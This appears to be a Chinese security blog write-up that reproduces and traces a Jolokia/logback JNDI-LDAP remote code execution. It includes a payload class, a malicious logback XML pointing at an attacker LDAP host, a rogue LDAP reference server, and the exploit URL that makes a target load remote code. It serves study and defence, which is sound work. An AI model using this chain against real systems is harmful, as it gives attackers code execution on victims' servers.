Java代码审计之jolokia logback JNDI LDAP RCE

Java代码审计之jolokia logback JNDI LDAP RCE

注:本文为复现文和学习文,原创极少,参考了大量参考链接里的内容~感兴趣者自行阅读原作

0x01. 原理

  1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
  2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

0x02. 利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过

0x03. 复现过程

1. 访问/jolokia/list 接口

查看是否存在 ch.qos.logback.classic.jmx.JMXConfiguratorreloadByURL 关键词。

image-20211026171856539

image-20211026171911818

编译Payload代码

JNDIObject.java

javac JNDIObject.java

import java.io.IOException;

public class JNDIObject{
    static {

        Runtime r = Runtime.getRuntime();
        Process p = null;
        try {
//            p = r.exec(new String[]{"cmd.exe", "/c", "calc.exe"});
            p = r.exec("calc.exe");
            p.waitFor();
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] argv){
        JNDIObject e = new JNDIObject();
    }
}

example.xml

<configuration>
  <insertFromJNDI env-entry-name="ldap://192.168.144.27:1389/JNDIObject" as="appName" />
</configuration>

将JNDIObject.class和example.xml放在Web服务下

python -m SimpleHTTPServer 8888

4. 架设恶意 ldap 服务

http://192.168.144.27:8888 为上一步的Web地址

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marsh alsec.jndi.LDAPRefServer http://192.168.144.27:8888/#JNDIObject 1389

image-20211026172316014

5. 利用

请求URL

http://127.0.0.1:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.144.27:8888!/example.xml

image-20211026172418448

先是接收到了example.xml请求

image-20211026172441090

再去请求了LDAP服务

image-20211026172506509

最后去请求了JNDIObject.class

成功的弹出计算器

image-20211026172621997

0x04 JNDI+LDAP注入

JNDI知识见上篇文章

启动一个ldap服务,该代码由某大佬改自marshalsec

Server.class

// 1.8
// https://www.cnblogs.com/nice0e3/p/13958047.html
// JNDI+LDAP
package com.DemoJNDI.DEMOJNDILDAP;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class Server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#Calc"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

Client.java

// 1.8
package com.DemoJNDI.DEMOJNDILDAP;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/Calc");
    }
}

Calc.java

javac Calc.java 放在Web服务下

public class Calc{
    public Calc() throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

启动ldap服务监听,当运行了Client后,接收到了请求,并发送请求到http://127.0.0.1:8080/Calc.class

image-20211026192605682

Web接收到了请求

image-20211026192555351

弹出了计算器

image-20211026192329341

0x05 jolokia logback JNDI LDAP RCE触发点

1. 核心过程:

  • 通过路由来指定具体执行什么样的功能

  • 构造请求的路由:jolokia/exec/class_name/function_name/params以/分割路由指定调用的类、方法、参数,并且通过!/保留参数里的/避免被分割,使参数http:!/!/192.168.144.27:8888!/example.xml传递进去后转换为``http://192.168.144.27:8888/example.xml`

  • 寻找触发点ch.qos.logback.classic.jmx.JMXConfigurator#reloadByURL,可以从远程加载一个新的配置文件。

  • 链路里有调用SAXParserFactory factory = SAXParserFactory.newInstance();解析xml文件,具体学习SAXParser模块

  • 因为调用的是JMXConfigurator类,所以xml文件得符合JMX的配置文件,即格式是logback.xml。其中logback.xml的env-entry-name可以设置为JNDI的地址,那么我们的恶意xml文件就可以将env-entry-name设置为为自己的JNDI地址,这样就能JDNI注入了。

    image-20211026212029239

2. 通过路由来指定具体执行什么样的功能

jolokia\jolokia-core\1.6.0\jolokia-core-1.6.0.jar!\org\jolokia\http\HttpRequestHandler.class

public JSONAware handleGetRequest(String pUri, String pPathInfo, Map<String, String[]> pParameterMap) {
        String pathInfo = this.extractPathInfo(pUri, pPathInfo);
        JmxRequest jmxReq = JmxRequestFactory.createGetRequest(pathInfo, this.getProcessingParameter(pParameterMap));
        if (this.backendManager.isDebug()) {
            this.logHandler.debug("URI: " + pUri);
            this.logHandler.debug("Path-Info: " + pathInfo);
            this.logHandler.debug("Request: " + jmxReq.toString());
        }

        return this.executeRequest(jmxReq);
    }

断点后,通过访问/jolokia触发debug,可以看到红框中通过JmxRequestFactory工厂函数来创建了一个JmxRequest类,之后return executeRequest执行这个类。在创建这个类的时候会根据get请求的路由来创建对应的JmxRequest类。

image-20211026201412647

进入到定义里

image-20211026201700570

看到很多类继承了JmxRequest

image-20211026201731850

在继承类中发现存在JmxWriteRequestJmxExecRequest这两个从名字来说让我们很兴奋的子类,因为知道/jolokia/list所执行的是JmxListRequest这个子类的功能,类比一下,/jolakia/exec就可以执行JmxExecRequest这个子类的功能。

3. 构造请求的路由

\org\jolokia\jolokia-core\1.6.0\jolokia-core-1.6.0.jar!\org\jolokia\request\JmxExecRequest.class

JmxExecRequest(String pObjectName, String pOperation, List pArguments, ProcessingParameters pParams) throws MalformedObjectNameException {
        super(RequestType.EXEC, pObjectName, (List)null, pParams);
        this.operation = pOperation;
        this.arguments = pArguments;
    }

pObjectName:要执行操作的MBean的名称,不能为空
pOperation:要执行操作的名称(方法的名称),不能为空
pArguments:用于执行请求的参数,可以为空
pParams:用于处理请求的可选参数

image-20211026213936469

JmxRequestFactory这个工厂类,在extractElementsFromPath方法中完成了以/分割路由请求,并对路由进行处理的

jolokia\jolokia-core\1.6.0\jolokia-core-1.6.0.jar!\org\jolokia\request\JmxRequestFactory.class

链路从下往上
split:158, EscapeUtil (org.jolokia.util)
parsePath:93, EscapeUtil (org.jolokia.util)
extractElementsFromPath:103, EscapeUtil (org.jolokia.util)
createGetRequest:91, JmxRequestFactory (org.jolokia.request)

image-20211026215007844

image-20211026215043887

image-20211026215113497

效果是将!/这样的情况时,可以保留/

image-20211026214850256

可以看到保留了/,ret的第四个参数是正确的url地址

image-20211026215442854

ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator是类

reloadByURL是方法

http:!/!/192.168.144.27:8888!/example.xml是参数

从/jolokia/list返回的json数据包里可以找到该链

image-20211027105702993

所以构造如下路由:

http://127.0.0.1:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.144.27:8888!/example.xml

4. 加载远程XML文件

JMXConfigurator这个类中发现存在一个reloadByURL方法,那是不是可以从远程加载一个新的配置文件从而造成RCE。

链路

buildSaxParser:79, SaxEventRecorder (ch.qos.logback.core.joran.event)
recordEvents:57, SaxEventRecorder (ch.qos.logback.core.joran.event)
doConfigure:151, GenericConfigurator (ch.qos.logback.core.joran)
doConfigure:110, GenericConfigurator (ch.qos.logback.core.joran)
doConfigure:53, GenericConfigurator (ch.qos.logback.core.joran)
reloadByURL:145, JMXConfigurator (ch.qos.logback.classic.jmx)

qos\logback\logback-classic\1.1.11\logback-classic-1.1.11.jar!\ch\qos\logback\classic\jmx\JMXConfigurator.class

image-20211026215749069

image-20211026215941715

image-20211026220026079

调用了SAXParser解析XML

image-20211026220439781

调用 recordEvents 的时候带入了输入流,这个输入流是我们可控的

image-20211026220410309

远程的xml文件内容

<configuration>
  <insertFromJNDI env-entry-name="ldap://192.168.144.27:1389/JNDIObject" as="appName" />
</configuration>

那么就通过JNDI+LDAP成功的注入啦。

同样也可以配合RMI注入。

0x06. 总结

0x07. 参考链接

分析文章
https://paper.seebug.org/850/
https://xz.aliyun.com/t/4258

   转载规则


《Java代码审计之jolokia logback JNDI LDAP RCE》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。